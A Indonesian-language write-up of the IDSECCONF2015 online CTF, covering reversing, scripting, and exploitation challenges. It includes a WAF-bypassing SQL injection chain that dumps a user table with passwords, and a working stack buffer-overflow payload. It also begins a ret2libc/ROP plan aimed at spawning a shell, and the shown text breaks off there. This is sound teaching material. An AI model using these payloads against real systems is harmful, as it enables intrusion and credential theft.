Write up idsecconf2015 online ctf
-
Upload
idsecconf -
Category
Technology
-
view
776 -
download
2
Transcript of Write up idsecconf2015 online ctf
Miscellaneous Gem 50 Points Diberikah sebuah file gem.pyc yang merupakan python bytecompiled. Ketika dicoba dijalankan, program
tidak mencetak apapun dan langsung keluar. Dengan menggunakan uncompyle2
(https://github.com/Mysterie/uncompyle2), kita akan mendapatkan python script berikut ini dari gem.pyc :
import base64 from Crypto.Cipher import AES class FLAG(object): def encryption(self, privateInfo): BLOCK_SIZE = 16 PADDING = '|' pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) key = 'YouwontWantTohaveAKeyLikethisBoy' print 'key:', key cipher = AES.new(key) encoded = EncodeAES(cipher, privateInfo) print 'Encrypted string:', encoded def decryption(self, encryptedString): PADDING = '|' DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) encryption = encryptedString key = 'YouwontWantTohaveAKeyLikethisBoy' cipher = AES.new(key) decoded = DecodeAES(cipher, encryption) print decoded def show(): encrypt = 'CHhDMX7cVKNkzRmKQ8GMzyJDkfeijAoa7Lz/ADo13k/jq+e5mK6uNcLSMLGJ8F2Y' flag = FLAG().decryption(encrypt) print flag def key(): key = 'YouwontWantTohaveAKeyLikethisBoy' print 'key is:' + key Terlihat bahwa ada sebuah object FLAG dengan fungsi enkripsi dan dekripsi menggunakan AES.
Perhatikan bahwa ada fungsi show() yang berisi pendekripsian suatu string tertentu menggunakan object
FLAG tetapi tidak pernah dipanggil. Tambahkan show() di paling akhir script agar fungsi show() dijalankan
ketika program berjalan. Simpan script tersebut kemudian jalankan scriptnya untuk mendapatkan flag.
Flag : idsecconf2015PythonIsquiteEasyandLovely
Write Up Online CTF #IDSECCONF2015 farisv
IMFTest 250 Points Pada challenge ini kita diharuskan untuk melakukan koneksi TCP ke 128.199.218.190 pada port 17845.
$ nc 128.199.218.190 17845 ../) ,. ,. ________ \ ..')| \ / || | / ' \| , \/ , || .' ' "| |\_ /| || _|____ .. | _( )_/ | ||_( )_ | | | | (_ o _) | |(_ o._)__| | | | (_,_) | ||(_,_) | | | | | || | '' '' ''''
********** Selamat Datang Di
IMPOSSIBLE MISSION FORCE Testing Center Sektor Mampang Prapatan **********
Calon Agen Harus Menyelesaikan Perhitungan Berikut: Selesaikan Dalam Waktu 10.00 Detik Perhitungan Ini: 72 * Isi dari service ini adalah rentetan soal matematika yang harus diselesaikan dengan sangat cepat, bahkan
salah satu soalnya adalah kita harus menghitung fungsi turunan dalam waktu 0.585277 detik. Karena
mengerjakan semuanya dengan cepat tidak feasible maka kita harus membuat program yang akan
melakukan koneksi ke service, melakukan parsing terhadap soalsoal yang diberikan, selesaikan soalnya,
dan kirim jawabannya ke service.
Ada tiga bagian dari pertanyaan yang diberikan, yaitu perkalian, sistem persamaan linear dua variabel, dan
fungsi turunan. Saya menggunakan python karena mudah untuk melakukan socket programming. Adapun
saya tidak memakai library matematika tambahan apapun karena sesungguhnya perhitungan yang
diperlukan cukup sederhana.
Berikut adalah script yang saya gunakan untuk menyelesaikan challenge ini.
import socket def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('128.199.218.190', 17845)) return s def spl_solve(first_equation, second_equation): y1 = int(first_equation[2][0:-1]) y2 = int(second_equation[2][0:-1]) x1 = int(first_equation[0][0:-1]) x2 = int(second_equation[0][0:-1])
Write Up Online CTF #IDSECCONF2015 farisv
c1 = int(first_equation[4]) c2 = int(second_equation[4]) temp = y1 x1 = x1*y2 y1 = y1*y2 c1 = c1*y2 x2 = x2*temp y2 = temp*y2 c2 = c2*temp diff_x = x1 - x2 diff_c = c1 - c2 answer_x = diff_c / diff_x print answer_x s.send(str(answer_x)) data = s.recv(1024) print data x1 = int(first_equation[0][0:-1]) y1 = int(first_equation[2][0:-1]) c1 = int(first_equation[4]) x_value = x1*answer_x c1 = c1 - x_value answer_y = c1 / y1 print answer_y s.send(str(answer_y)) def turunan(value, x): if ("x" not in value): return 0 if ("" not in value): return 1 splitted = value.split("") val_x = splitted[0] power = int(splitted[1]) val_x_splitted = val_x.split("x") final_x = eval(str(x) + "**" + str(power -1)) result = int(val_x_splitted[0]) * power * final_x return result def turunan_solve(fx): answer = 0 for i in range(2,len(fx)): value = fx[i] if (fx != "+"): answer += turunan(value, x) print answer s.send(str(answer)) s = connect() question_spl = False question_turunan = False finish = False while not finish: data = s.recv(1024) print data if "Perhitungan Ini" in data: answer = str(eval(data[51:])) print answer s.send(answer)
Write Up Online CTF #IDSECCONF2015 farisv
if "sistem persamaan" in data: if (question_spl): data = s.recv(1024) print data line = data.split("\n") first_equation = line[0].split(" ") second_equation = line[1].split(" ") else: line = data.split("\n") first_equation = line[1].split(" ") second_equation = line[2].split(" ") question_spl = True spl_solve(first_equation, second_equation) if "turunan" in data: line = data.split("\n") x = int(line[0][76:-1]) if (question_turunan): data = s.recv(1024) print data line = data.split("\n") fx = line[0].split(" ") else: fx = line[1].split(" ") question_turunan = True turunan_solve(fx) if ("flag" in data): finish = True
Jalankan scriptnya untuk menyelesaikan semua soal yang diberikan sehingga kita mendapatkan flag.
Flag : saatny4_meregangk4n_jari_anda_merdeka
Write Up Online CTF #IDSECCONF2015 farisv
Web Hacking theNOCweb 150 Points
Satusatunya web hacking challenge pada CTF ini adalah sebuah situs yang mempunyai
beberapa halaman berita dan layanan untuk melakukan ping ke alamat tertentu.
Pencarian celah sql injection flaw dapat dilakukan dengan mudah dengan menambahkan single quote/'
pada parameter id di view.php.
http://128.199.188.104/idsecconfweb/view.php?id=1'
Could not get data: You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''1''' at line 1
Setelah mencoba melakukan beberapa kali injection, dapat diperkirakan bahwa SQL query yang berjalan
adalah select * from table where id='$id' sehingga injection yang harus kita masukkan di id adalah '
[injection_query] a
Perhatikan bahwa setelah sebaiknya ada spasi dan karakter sembarang agar nantinya tidak langsung
menempel dengan ' sehingga tidak terjadi syntax error. Selanjutnya akan dilakukan query order by untuk
mengetahui jumlah kolom dari tabel yang sedang diselect. Akan didapat bahwa jumlah kolom adalah 3
karena ketika order by 4 akan keluar pesan error.
http://128.199.188.104/idsecconfweb/view.php?id=' order by 3 -- a (normal)
http://128.199.188.104/idsecconfweb/view.php?id=' order by 4 -- a (Unknown column '4' in
'order clause)
Write Up Online CTF #IDSECCONF2015 farisv
Masalah terjadi ketika kita ingin mengunion hasil select dengan 1,2,3. Akan tampil halaman seperti berikut.
Rupanya web menggunakan WAF (Web Application Firewall) untuk mencegah serangan sql injection. Dari
hasil cobacoba, diperkirakan bahwa sebenarnya halaman WAF ini adalah halaman 404 karena jika kita
mengetikkan direktori sembarang akan keluar tampilan yang sama. Kemungkinan file .htaccess yang ada
dikonfigurasi agar web menuju halaman 404 apabila url request mengandung string terlarang (case
insensitive). Hal ini membuat injection query yang mengandung string union, select, UnIOn, UNION, dan
lain sebagainya menjadi tidak bekerja.
Dengan memahami bagaimana WAF ini bekerja (menggunakan string matching) maka trik yang bisa dicoba
adalah dengan mengencode string yang terlarang menggunakan Percentencoding / URL encoding. Hal ini
dilakukan agar url request tidak mengandung string yang terlarang namun tetap legitimate.
Selanjutnya akan dicoba untuk melakukan injection dengan mengencode union select terlebih dahulu
menjadi %75%6e%69%6f%6e%20%73%65%6c%65%63%74.
http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74 1,2,3
-- a
Dan hasilnya adalah :
Write Up Online CTF #IDSECCONF2015 farisv
Ternyata berhasil! Selanjutnya akan dilakukan sql injection seperti biasa dengan mengganti salah satu
angka yang terlihat menjadi informasiinformasi yang kita butuhkan.
http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74
1,@@version,3 -- a
MySQL version : 5.5.44-0ubuntu0.14.04.1
http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74
1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- a
table name : admin,berita,user
ttp://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74
1,group_concat(column_name),3 from information_schema.columns where table_name=0x75736572 -- a
column name from user : id,username,password
http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74
1,concat_ws(0x3a,id,username,password),3 from user – a
1:admin:qwerty123 2:john:123456 3:flag:injek_teruss_sampe_mampus
Flag : injek_teruss_sampe_mampus
Write Up Online CTF #IDSECCONF2015 farisv
Reverse Engineering fake 50 Points Diberikah sebuah file binary ELF 32bit. Jalankan file tersebut dan jika komputer tersambung dengan
koneksi Internet maka akan keluar tulisan + Sukses! Komputer Anda Telah Terproteksi sementara
jika tidak tersambung maka yang keluar adalah - host tidak ditemukan. Kemungkinan program ini
akan mencoba untuk melakukan koneksi ke host tertentu. Kita dapat menggunakan wireshark untuk melihat
ada koneksi ke mana saja ketika program ini berjalan. Namun, kita juga dapat melihat isi binary tersebut
dengan strings.
$ strings easy …………. …………. 3456 7890 irc. free node .net :666f botn etctf merd <:t$ [_] [_] ………….
Terlihat ada alamat irc.freenode.net. Kemungkinan hasil strings ini tidak lengkap. Kita bisa coba untuk
membuka binary dengan text editor atau hex editor untuk melihat ada karakter apa yang tidak muncul di
sekitar tulisan itu. Saya menggunakan hexedit dan menemukan potongan seperti ini :
000015F0 00 00 C7 84 24 36 02 00 00 69 72 63 2E C7 84 24 ....$6...irc...$ 00001600 3A 02 00 00 66 72 65 65 C7 84 24 3E 02 00 00 6E :...free..$>...n 00001610 6F 64 65 C7 84 24 42 02 00 00 2E 6E 65 74 C7 84 ode..$B....net.. 00001620 24 46 02 00 00 3A 36 36 36 66 C7 84 24 4A 02 00 $F...:666f..$J.. 00001630 00 37 00 C7 84 24 2C 02 00 00 62 6F 74 6E C7 84 .7...$,...botn.. 00001640 24 30 02 00 00 65 74 63 74 66 C7 84 24 34 02 00 $0...etctf..$4.. 00001650 00 66 00 C7 84 24 24 02 00 00 6D 65 72 64 C7 84 .f...$$...merd.. 00001660 24 28 02 00 00 65 6B 61 00 C7 44 24 04 3D 9B 04 $(...eka..D$.=.. Connect ke server IRC dengan host irc.freenode.net:6667 kemudian masuk ke channel #botnetctf dengan password merdeka untuk mendapatkan flag.
Flag : b0tnet_n3v3r_di3_they_simply_f4de_4way
Write Up Online CTF #IDSECCONF2015 farisv
debugme 100 Points Diberikah sebuah layanan di alamat 128.199.218.190 port 15178.
$ nc 128.199.218.190 15178 Can u debug me, bro. Hmmm, since you're here... Who m i?
Program untuk layanan tersebut juga diberikan, yaitu sebuah file binary 64bit. Jika dijalankan maka
program tersebut akan membuka port 15178 di komputer kita dan menjalankan layanan yang sama.
Program ini akan meminta sebuah masukan dan jika tidak sesuai maka akan keluar pesan Zzzzz...
NO....no..no.
Saya menggunakan IDA untuk mempelajari binary ini. Berikut adalah potongan IDAView dari fungsi main.
Terlihat bahwa program akan memanggil fungsi anti_debug dan ctfserver. Program juga akan menjalankan
handler. Jika dilihatlihat, fungsi anti_debug akan mencegah user untuk melakukan LD_PRELOAD dan
mengatur breakpoint. Fungsi ctfserver adalah membuka layanan TCP di port 15178 sementara yang
mencetak tulisan, membaca masukan, dan mengecek tulisan adalah handler. Berikut adalah salah satu
potongan dari IDAView handler.
Write Up Online CTF #IDSECCONF2015 farisv
Dapat diperkirakan bahwa fungsi memanggil _strstr terhadap needle yang berada di register $rsi ([rbp420h]
dan haystack yang berada di register $rdi ([rbp410h]). Cara kerja _strstr adalah mengecek apabila string
needle merupakan substring dari string haystack. Di sini string haystack adalah input dari user. Apabila ada,
program akan mengeluarkan “Nice…” dan memanggil fungsi send_flag.
Pada disassembly fungsi send_flag, program akan membuka dan mencetak isi flag.txt sehingga kita harus
mengirimkan string yang mengandung needle ke layanan yang ada di server. Untuk itu tugas kita adalah
mengetahui string dari needle. Sayangnya anti_debug yang ada mencegah kita melakukan breakpoint di
address 0x4014FF (address ketika melakukan call _strstr, lihat di IDAnya) agar bisa melihat isi dari register
$rsi. Kita bisa melakukan patching pada program agar anti_debug tidak dipanggil. Namun, jika cermat kita
akan menemukan potongan assembly yang seperti ini (tidak dalam baris yang berturutturut) pada handler :
ptr= qword ptr -420h .. mov [rbp+ptr], rax mov rax, [rbp+ptr] mov byte ptr [rax], 6Ah .. mov rax, [rbp+ptr] add rax, 1 mov byte ptr [rax], 6Fh .. mov rax, [rbp+ptr] add rax, 2 mov byte ptr [rax], 6Bh .. mov rax, [rbp+ptr] lea rdx, [rax+5] mov rax, [rbp+ptr] movzx eax, byte ptr [rax+1] .. mov rax, [rbp+ptr] lea rdx, [rax+4] mov rax, [rbp+ptr] movzx eax, byte ptr [rax+5]
Write Up Online CTF #IDSECCONF2015 farisv
.. mov rax, [rbp+ptr] lea rdx, [rax+3] mov rax, [rbp+ptr] movzx eax, byte ptr [rax+4 .. mov rax, [rbp+ptr] add rax, 6 mov byte ptr [rax], 21h
Singkatnya, jika rbp+ptr ditranslate menjadi array pada pseudocode maka kirakira seperti ini :
array[0] = 0x6a array[1] = 0x6f array[2] = 0x6b array[5] = array[1] array[4] = array[5] array[3] = array[4] array[6] = 0x21
Karena 0x6a = j, ox6f = o, 0x6b = k, dan 0x21 = !, maka dapat disimpulan rbp+ptr atau rbp420h atau needle
adalah ‘jokooo!’. Masukkan string apapun yang mengandung ‘jokooo!’ ke layanan yang ada di server untuk
mendapatkan flag.
$ nc 128.199.218.190 15178 Can u debug me, bro. Hmmm, since you're here... Who m i? jokooo! Nice... flagdirgahayu_RI_70_brooo
Flag : dirgahayu_RI_70_brooo
Write Up Online CTF #IDSECCONF2015 farisv
ladies 300 Points Pada challenge ini kita diberikan sebuah ASCII art seorang perempuan. Karena banyak karakter ‘+’, ‘’, ‘,’,
‘.’, ‘<’, ‘>’, ‘[‘, dan ‘]’ ditambah dengan nama file yang diberikan adalah let_me_be_your_bf maka dapat
diperkirakan bahwa sebenarnya file tersebut mengandung potongan kode Brainf*ck
(https://en.wikipedia.org/wiki/Brainfuck). Bahasa pemrograman ini adalah bahasa minimalis yang cara
kerjanya mirip dengan Turing Machine (https://en.wikipedia.org/wiki/Turing_machine). Hanya dengan 8 buah
operasi, bahasa pemrograman ini dapat melakukan komputasi apapun namun tentunya sangat tidak
practical. Berikut adalah operasi yang dapat dilakukan dan kode C yang ekivalen.
Awal program Inisialisasi char array[infinitely large size] = 0; char *ptr=array;
> Geser pointer ke kanan ++ptr;
< Geser pointer ke kiri --ptr;
+ Increment pointer saat ini ++*ptr;
Decrement pointer saat ini --*ptr;
. Cetak isi pointer saat ini putchar(*ptr);
, Baca satu byte dari input dan masukkan ke pointer
*ptr=getchar();
[ Jika isi pointer saat ini bukan 0, lanjutkan. Jika 0, lanjutkan ke setelah pasangannya (‘]’)
while (*ptr)
] Jika isi pointer saat ini 0, lanjutkan. Jika bukan 0, balik lagi ke awal ke pasangannya (‘[‘)
Kita harus parse ASCII art yang diberikan untuk diambil operasioperasi yang legit saja. Selain itu karena
saya lebih nyaman membaca bahasa C (walaupun isinya hanya gesergeser pointer :P ), saya juga akan
langsung mentranslatenya dengan syntax seperti di atas. Di sini saya menggunakan bash scripting dan
ukuran array yang ada saya set menjadi 1000.
INPUT=let_me_be_your_bf code+=$'#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n' indent=1 code+=$'\tchar array[1000] = 0;\n\tchar *ptr=array;\n' while IFS= read -r -n1 c do
Write Up Online CTF #IDSECCONF2015 farisv
[ "$c" == "." -o "$c" == "," -o "$c" == ">" -o "$c" == "<" -o "$c" == "[" -o "$c" == "]" -o "$c" == "+" -o "$c" == "-" ] && [ "$c" == "]" ] && ((indent--)); for (( i=0; i<$indent; i++)); do code+=$'\t' done [ "$c" == ">" ] && code+=$'++ptr;\n'; [ "$c" == "<" ] && code+=$'--ptr;\n'; [ "$c" == "+" ] && code+=$'++*ptr;\n'; [ "$c" == "-" ] && code+=$'--*ptr;\n'; [ "$c" == "." ] && code+=$'putchar(*ptr);\n'; [ "$c" == "," ] && code+=$'*ptr=getchar();\n'; [ "$c" == "[" ] && code+=$'while (*ptr) \n'; ((indent++)); [ "$c" == "]" ] && code+=$'\n'; done < "$INPUT" code+=$'\treturn 0;\n\n' echo "$code" > "ladies.c" Kode C yang dihasilkan ada sekitar 3600 baris. SIlahkan lihat di http://pastebin.com/cyrWzstw. Selanjutnya
kita bisa coba compile file C yang dihasilkan. Program yang berjalan akan meminta password dan akan
mengeluarkan nope apabila salah.
$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaaaa nope
Dari hasil cobacoba, panjang string masukan minimal harus 16 agar program mengeluarkan pesannya.
Melakukan debugging di program yang dihasilkan cukup sulit karena hasil disassemblypun adalah
perintahperintah yang panjang (geser penunjuk memori dan sebagainya) seperti pada program aslinya.
Akhirnya saya memutuskan untuk mempelajari 3600 baris kode yang ada.
Di bagian awal kode, ada 16 buah *ptr=getchar(); yang berarti di bagian kode tersebut, program akan
membaca 16 buah karakter. Berikutnya sepertinya dilakukan pengecekan terhadap ke16 karakter tersebut
namun kode yang ada sulit dipahami. Yang menarik adalah di bagian bawah ada banyak putchar(*ptr); di
dalam while(*ptr). Saya curiga bahwa kumpulan karakter tersebut adalah pesan yang dikeluarkan apabila
password benar. Maka saya tambahkan ++*ptr sebelum while yang sesuai (baris 3106) agar program
masuk ke iterasi tersebut kemudian saya compile dan jalankan program kembali.
$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaaaaaaa flag was buried behind the wall, have you found it?
Write Up Online CTF #IDSECCONF2015 farisv
Ternyata pesan yang keluar bukanlah flag. Saya berarti harus temukan password yang benar apa. Dengan
mencermati kode cukup lama, saya menemukan ada 16 buah putchar(*ptr) yang masingmasing ada di
dalam sebuah iterasi. Dengan cara yang sama dengan sebelumnya, saya tambahkan ++*ptr di setiap
iterasinya kemudian saya compile dan jalankan program kembali.
$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaaaaaaa Congratulations! flag was buried behind the wall, have you found it?
Kumpulan karakter yang ada ternyata adalah ‘Congratulations!’. Dari informasi ini dan mempelajari kode
lebih lanjut, sebelum iterasi yang didalamnya mencetak sebuah karakter, ada berbagai macam operasi yang
sepertinya adalah mengecek tiap karakter masukan. Dan untungnya setiap karakter dicek terpisah dan
apabila satu karakter saja sudah benar maka program akan mengeluarkan karakter dari ‘Congratulations!’
sesuai dengan posisi yang benar. Ada dua cara untuk mendapatkan password yang benar, yaitu dengan
mencetak isi array yang ada di posisi yang sesuai atau dengan bruteforce. Saya melakukan keduanya
karena saya ingin mengeksplorasi lebih dalam.
Untuk cara pertama, kita bisa tambahkan kode untuk mencetak isi array yang ada di posisi kode yang
melakukan pengecekan terhadap suatu karakter. Di sini saya hanya mencobacoba meletakkan kode
menetak isi array sampai mendapatkan informasi yang berguna karena menurut saya hal itu lebih cepat
(buat saya) dibanding memahami alur kodenya.
Agar lebih mudah saya tambahkan fungsi debug() untuk mencetak isi array.
void debug(char array[]) int i; for (i = 0; i < 1000; i++) printf("%c", array[i]); printf("\n");
Kemudian saya cukup tambahkan debug(array); di posisi yang saya inginkan. Setelah mencobacoba
meletakkan debug(array); di sebelum iterasi pertama yang mengandung putchar(*ptr) mencurigakan, saya
mendapatkan ini.
$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaa r 4aaaaaaaaaaaaaaaa flag was buried behind the wall, have you found it?
Write Up Online CTF #IDSECCONF2015 farisv
Kemudian saya pikir karakter pertama dari passwordnya adalah 4. Saya pun mencoba untuk memasukkan
16 karakter string yang depannya 4 di program asli (sebelum diubahubah kodenya).
$ ./ladies Password : 4aaaaaaaaaaaaaaaa C nope
Karena program mengeluarkan ‘C’ maka berarti benar bahwa program akan mengecek setiap karakter yang
ada kemudian apabila benar, maka akan mencetak karakter dari ‘Congratulations!’ di posisi yang sesuai.
Selanjutnya kita bisa melakukan cara yang sama untuk mengetahui 15 karakter sisanya.
Cara yang lebih cepat dari melihatlihat isi array adalah dengan melakukan bruteforce satu persatu
karakternya. Contoh, untuk mencari karakter kedua kita bisa gunakan bash script seperti berikut.
for i in 1..255; do pass="4" pass+=$( printf "\\$(printf '%03o' "$i")" ) pass+="aaaaaaaaaaaaaaaaaaaaaaaaa" echo $pass echo $pass | ./ladies; done;
Kemudian jalankan ./script.sh | less untuk melihat yang mana yang membuat program mengeluarkan ‘Co’.
Akan didapat seperti ini di salah satu percobaan bruteforce :
4maaaaaaaaaaaaaaaaaaaaaaaaa Password : Co nope
Hal ini berarti dua karakter pertama pada password adalah ‘4m’. Kemudian inisialisasi pass pada script
dengan ‘4m’ untuk mendapatkan karakter ketiga dan seterusnya. Pada akhirnya akan didapat
passwordnya adalah ‘4m4Z1Ng_bR@1nFcK’.
$ ./ladies Password : 4m4Z1Ng_bR@1nFcK Congratulations! flag was buried behind the wall, have you found it?
Write Up Online CTF #IDSECCONF2015 farisv
Setelah dicoba disubmit, 4m4Z1Ng_bR@1nFcK bukanlah flagnya. Kemudian saya curiga apabila program
dimasukkan password yang benar maka isi array dari program akan berisi flag. Kemudian saya ubah
kodenya lagi untuk mencetak isi array di akhir kode.
$ gcc ladies.c -o ladies $ ./ladies Password : 4m4Z1Ng_bR@1nFcK Congratulations! flag was buried behind the wall, have you found it? FLAGb2ain_fUcK_pHuN
Didapatkanlah flag yang benar untuk challenge ini.
Flag : b2ain_fUcK_pHuN
Write Up Online CTF #IDSECCONF2015 farisv
Exploit pwn easy 100 Points File binary ELF 64bit yang diberikan pada challenge pwn easy adalah file binary sederhana yang
membaca masukan dari user. Disediakan juga layanannya yang berada di 128.199.218.190 port 17045.
$ nc 128.199.218.190 17045 ++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses Masukkan ID Agen: aaaaaaaaaa Akses Ditolak
$ file pwneasy pwneasy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3447b68248c1cdcc52706500e94f66d29da76cf7, not stripped $ ./checksec.sh --file pwneasy RELRO STACK CANARY NX PIE RPATH RUNPATH Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH
Saya menggunakan cheksec.sh dari http://www.trapkit.de/tools/checksec.html untuk mengecek proteksi
yang ada. Masukkan karakter yang banyak dan lihat bahwa program akan mengalami segmentation fault
karena buffer overflow.
$ cat <(python -c 'print "A"*500') | ./pwneasy ++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses Masukkan ID Agen: Segmentation fault (core dumped)
Untuk lebih memahami binary yang ada, dilakukan decompilation menjadi pseudo C dengan menggunakan
Hopper.
function indonesia system("cat flag.txt"); return; function jalan_keflag rax = read(0x0, var_80, 0x200); return rax; function main write(0x1, "++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++\n\t\tServer Akses\nMasukkan ID Agen: ", 0x5a); jalan_keflag(); rax = puts("Akses Ditolak"); return rax;
Write Up Online CTF #IDSECCONF2015 farisv
Terlihat bahwa program akan memanggil fungsi jalan_keflag() dan membaca input dari user. Tidak ada
pengecekan panjang dari input sehingga dapat terjadi buffer overflow apabila panjang input lebih dari buffer
yang disediakan. Ukuran buffer adalah var_80 yang merupakan 0x80 (128 bytes) sehingga batas karakter
yang seharusnya adalah 128 karakter.
Fungsi indonesia() melakukan ‘cat flag.txt’ namun tidak pernah dipanggil sehingga kita harus memanfaatkan
buffer overflow agar fungsi ini terpanggil. Mengapa hal ini bisa terjadi? Sederhananya tiap fungsi pada
binary mempunyai alamat tertentu dan di setiap komputasi program, program bisa menyimpan suatu nilai di
register yang fungsinya bermacammacam. Bagi yang belum familiar dengan assembly dan
arsitektur/organisasi komputer silahkan untuk mempelajarinya terlebih dahulu. Salah satu register pada
processor 64bit adalah rdi yang merupakan instruction pointer dan berguna untuk menunjukkan address
yang berisi komputasi yang akan dijalankan. Register ini dapat kita overwrite dengan bufferoverflow.
Kirakira bentuk stack framenya ketika program membaca input seperti ini :
rip (instruction pointer 8 bytes)
rbp (base pointer 8 bytes)
buffer (128 bytes)
Apabila kita memasukkan 142 karakter, 8 karakter terakhir akan masuk menjadi rip. Kita harus manfaatkan
ini agar rip isinya adalah address dari fungsi indonesia(). Tentunya kita harus tau alamat dari fungsi ini
terlebih dahulu.
$ objdump -M intel -d pwneasy | grep indonesia 0000000000400616 <indonesia>:
Alamat dari fungsi indonesia() relatif terhadap program adalah 0x400616. Berarti yang harus kita masukkan
ke program adalah 136 karakter sembarang dan 0x400616. Karena processor memakai littleendian
(https://en.wikipedia.org/wiki/Endianness), masukkan dengan terbalik urutan bytenya sehingga menjadi
0x166040. Tambahkan juga padding 00 sebanyak 4 kali agar menjadi 8bytes sesuai ukuran rip.
$ cat <(python -c 'print "A"*136 + "\x16\x06\x40\x00\x00\x00\x00\x00"') | nc 128.199.218.190 17045 ++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses Masukkan ID Agen: flagnah_cob4_anda_ngopi_dulu_sebelum_l4njut_lagi
Flag : nah_cob4_anda_ngopi_dulu_sebelum_l4njut_lagi
Write Up Online CTF #IDSECCONF2015 farisv
pwn medium 250 Points Challenge ini adalah lanjutan dari pwn easy. Kirakira file binarynya sama, namun tidak ada fungsi
indonesia() yang akan melakukan ‘cat flag.txt’. Selain diberikan file binary ELF 64bitnya, diberikan juga
sebuah file libc.so.6 yang kemungkinan merupakan library C yang dipunya layanan yang disediakan di
128.199.188.104 port 17945.
$ nc 128.199.188.104 17945 0x7fdd8d3ba640 Dicoba Lagi Gan
Pada saat program berjalan maka program akan mengeluarkan suatu address. Alamat ini berbedabeda
setiap program berjalan. Hasil decompilation menjadi pseudo C menggunakan Hopper menunjukkan bahwa
alamat ini adalah alamat fungsi system() pada libc.so.6 yang digunakan program.
function roproprop rax = read(0x0, var_80, 0x200); return rax; function alamatsys dlsym(dlopen("libc.so.6", 0x1), "system"); printf(0x4008e5); rax = *__TMC_END__; rax = fflush(rax); return rax; function main alamatsys(); write(0x1, "Dicoba Lagi Gan!\n", 0x11); rax = roproprop(); return rax;
Mengapa address yang ditampikan berubahubah? Hal ini dikarenakan ASLR (Address Space Layout
Randomization) diaktifkan pada environment server. ASLR berguna agar sistem dapat meload sebuah
program di lokasi memori yang berbeda ketika tiap program dijalankan. Pada sistem operasi umum
sekarang, ASLR juga biasanya diaktifkan secara default. Silahkan cek di Linux Anda seperti berikut.
$ cat /proc/sys/kernel/randomize_va_space 2
Jika keluar > 0 seperti di atas, maka ASLR aktif di Linux Anda.
Sebelum lanjut ke eksploitasi ada baiknya kita mengetahui/mereview beberapa hal ini terlebih dahulu :
Write Up Online CTF #IDSECCONF2015 farisv
1) libc atau C library adalah kumpulan fungsfungsi standard yang dipakai oleh program C, misalnya
printf(), scanf(), dan juga system(). Program yang dicompile dengan C secara default akan melink
ke library ini untuk memanggil fungsifungsi yang diperlukan. Tiap komputer mungkin menggunakan
libc yang berbedabeda tergantung versinya. Pada challenge ini, diberikan libc yang dipakai oleh
program pada server.
2) system adalah fungsi untuk mengeksekusi shell command. system(“cat /etc/passwd”) akan
menjalankan ‘cat /etc/passwd’ dan system(“/bin/sh”) akan menjalankan shell.
3) Offset Address adalah jarak sesuatu dari awal address (base address). Contoh, misalnya base
address dari libc adalah X dan offset dari suatu fungsi dari libc tersebut adalah 0x4008e5 maka
address aslinya adalah X+0x4008e5. Offset ini tidak berubah namun X bisa berubahubah karena
ASLR.
Apa yang terjadi kalau kita memanipulasi program agar memanggil system(“/bin/sh”) dari libc? Kita akan
mendapatkan akses shell melalui program tersebut. Kita dapat melakukannya dengan buffer overflow dan
itulah tujuan dari challenge ini. Eksploitasi yang dapat dilakukan adalah ROP (Return Oriented
Programming) di mana kita akan membuat program menjalankan instruksi assembly yang sudah ada di
library maupun binary (gadget) untuk mengreturn ke sesuatu yang sudah ada juga baik di library ataupun
binary.
Seperti pada pwn easy, di sini kita akan mengoverwrite rip (instruction pointer). Overwrite rip menjadi
gadget atau instruksi yang sedimikian sehingga kita bisa call system(“/bin/sh”). Sebelumnya ada hal penting
yang harus kita ketahui terlebih dahulu, yaitu offset dari system (supaya kita bisa mengetahui base address
libc) dan “/bin/sh” (ya, string “/bin/sh” bisa ditemukan di libc). Saya menggunakan libc database
https://github.com/niklasb/libcdatabase.
[libc-database]$ ./add libc.so.6 Adding local libc libc.so.6 (id local-1f18479f19ee690de8aab335fafd244c8aa6f17c libc.so.6) -> Writing libc to db/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.so -> Writing symbols to db/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.symbols -> Writing version info [libc-database]$ ./dump local-1f18479f19ee690de8aab335fafd244c8aa6f17c offset___libc_start_main_ret = 0x21ec5 offset_system = 0x0000000000046640 offset_dup2 = 0x00000000000ebfe0 offset_read = 0x00000000000eb800 offset_write = 0x00000000000eb860 offset_str_bin_sh = 0x17ccdb
Terlihat bahwa offset dari system() adalah 0x46640 dan offset dari string “/bin/sh” adalah 0x17ccdb. Berarti
untuk mendapatkan base address libc, baca address yang dikeluarkan program kemudian kurangi dengan
Write Up Online CTF #IDSECCONF2015 farisv
offset dari system(). Selanjutnya untuk mengetahui alamat string “/bin/sh” yang sebenarnya adalah dengan
menjumlahkan base address libc dengan 0x17ccdb.
